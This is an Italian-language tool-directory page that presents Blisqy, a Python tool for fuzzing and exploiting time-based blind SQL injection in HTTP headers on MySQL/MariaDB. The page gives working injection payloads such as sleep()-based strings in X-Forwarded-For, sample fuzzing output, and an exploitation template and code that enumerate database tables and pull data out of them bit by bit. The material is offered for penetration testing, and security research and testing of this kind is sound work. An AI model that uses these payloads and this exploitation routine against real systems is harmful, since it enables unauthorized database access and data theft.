Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Blisqy — Versione 0.2 - Sfrutta l'iniezione SQL cieca basata sul tempo nelle intestazioni HTTP (MySQL/MariaDB). | Kitploit
Strumenti/GitHubGitHub/johntroony/blisqy
Scanner di VulnerabilitàExploitSicurezza WebFuzzingSicurezza dei Database
GitHubjohntroony/blisqy

Blisqy

Versione 0.2 - Sfrutta l'iniezione SQL cieca basata sul tempo nelle intestazioni HTTP (MySQL/MariaDB).

Vedi Repository
4161117 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

1. Blisqy

Blisqy è uno strumento per aiutare i ricercatori di sicurezza web a trovare l'iniezione SQL cieca basata sul tempo negli header HTTP e anche lo sfruttamento della stessa vulnerabilità.

Lo sfruttamento consente un lento prelievo di dati da un database (attualmente supporta solo MySQL/MariaDB) utilizzando operazioni bitwise su caratteri ASCII stampabili, tramite un'iniezione SQL cieca.

Per l'interoperabilità con altri strumenti Python e per consentire ad altri utenti di utilizzare le funzionalità fornite in Blisqy, i moduli qui presenti possono essere importati in altri script basati su Python.

Quando si testano iniezioni SQL cieche basate sul tempo, qualsiasi ritardo di rete o congestione può influenzare l'efficacia del fuzzing o dello sfruttamento. Per compensare i possibili ritardi di rete e le incertezze che potrebbero causare ritardi, il confronto temporale di Blisqy è dinamico e viene calcolato in fase di esecuzione per ogni test. I test utilizzano greenlet (un'unità di esecuzione leggera e cooperativa) per fornire un'API sincrona di alto livello sopra il loop di libevent. Fornisce un modo rapido ed efficiente per eseguire i test dei payload in poco tempo, inoltre, un test particolare non dovrebbe influenzarne un altro perché non vengono eseguiti completamente in modo sequenziale.

1.1. Nuove funzionalità

Blisqy ora supporta il fuzzing per l'iniezione SQL cieca basata sul tempo negli header HTTP e le funzionalità principali (fuzzing e sfruttamento) sono state separate in file indipendenti per la portabilità.

1.2. Fuzzing con Blisqy

Per utilizzare la funzionalità di fuzzing, importa il seguente modulo nel tuo script Python e fornisci un target insieme ai dati di fuzzing come mostrato di seguito:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

I parametri del target dovrebbero essere in formato Dictionary/JSON, per esempio (Nota i tipi di dati delle variabili):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

L'invocazione del fuzzer una volta forniti i parametri del target è come mostrato di seguito:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Puoi controllare FindBlindSpot.py per questo esempio fornito.

1.2.1. Esempio di output del fuzzing

Se hai successo, dovresti ottenere un report dei test 'iniettabili' effettuati. Tieni presente, per quanto Blisqy cerchi di compensare i ritardi di rete e la congestione durante i test, è importante verificare manualmente i test positivi segnalati prima di procedere.

Di seguito un report di esempio:

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Screenshot del fuzzer Blisqy in azione:

Fuzz for Blind SQLi

1.3. Sfruttamento con Blisqy

Dopo aver trovato una potenziale iniezione SQL cieca basata sul tempo, puoi preparare uno script per sfruttare l'applicazione web vulnerabile.

Proprio come per il fuzzer, puoi importare il modulo per lo sfruttamento nel tuo script Python e definire un template per l'operazione di sfruttamento. Di seguito un esempio di come importare il modulo in uno script Python:

root@kitploit:~
from lib.blindexploit import SqlEngine

Successivamente, dovrai fornire i dettagli del tuo target insieme ai suoi parametri per lo sfruttamento. Di seguito un esempio di implementazione dello sfruttamento dell'iniezione SQL cieca trovata dal fuzzer:

I dati del target dovrebbero essere in formato Dictionary/JSON specificando il server, la porta, l'header vulnerabile trovato e il suo valore (alcune applicazioni necessitano o controllano un certo valore). Inoltre Nota i tipi di dati delle variabili.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

I parametri del target dovrebbero seguire permettendo all'utente di specificare alcune opzioni relative alle preferenze di sfruttamento.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime è il ritardo da utilizzare nei payload
  • payload è un'opzione per eseguire lo sfruttamento con una query SQL personalizzata, ad esempio select @@hostname. L'opzione predefinita è 'pass'.
  • mysqlDig abilita lo sfruttamento automatico e l'enumerazione di tutte le tabelle disponibili nello schema.
  • interactive è un'opzione per consentire all'utente di interagire con la routine di sfruttamento. Può essere utile quando si vuole saltare alle parti interessanti del database.
  • verbosity può essere high, medium o low. Controlla semplicemente le informazioni di output dalla routine di sfruttamento.

Dopo aver fornito il target e i suoi parametri, la prossima cosa da fornire è un template per la routine di sfruttamento. Blisqy fornisce un modo per gli utenti di specificare dove iniettare il payload SQL di esfiltrazione e il ritardo sleeptime. Di seguito un esempio di implementazione per una delle vulnerabilità trovate nel report di esempio fornito nella sottosezione precedente.

Iniezione trovata nell'header X-Forwarded-For:

root@kitploit:~
' or sleep(1)='

Template per questa particolare iniezione:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Durante l'esecuzione, *sql* verrà sostituito con un payload di iniezione SQL e *time* verrà sostituito con un ritardo per sleep().

Una volta fatto tutto questo, l'ultima parte è istanziare la routine di sfruttamento e lasciare che il metodo MysqlDigger() faccia il lavoro.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

Puoi controllare ExploitBlindSpot.py per questo esempio fornito.

Di seguito un esempio di un'operazione di sfruttamento:

Exploit Blind SQLi

1.4. Da fare

  • Integrare un Fuzzer intelligente per la caccia di vulnerabilità di iniezione SQL negli header HTTP e negli elementi web
  • Supportare il fuzzing e lo sfruttamento di Blind-SQLi su endpoint web oltre agli header HTTP.

1.4.1. Contribuisci

Puoi avvisarmi di qualsiasi cosa interessante tu abbia trovato con Blisqy o di ciò che pensi dovrebbe essere aggiunto/rimosso.

  • Condividi le tue idee e la wishlist,
  • Vedi un errore di battitura? Fammi sapere,
  • Trovato modi per ottimizzare Blisqy?,
  • Suggerisci modi per incorporare il supporto per altri DBMS.

1.4.2. Riferimenti

  • (PDF) Iniezione SQL cieca basata sul tempo tramite header HTTP: Fuzzing e sfruttamento.. Disponibile da: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Scarica lo strumento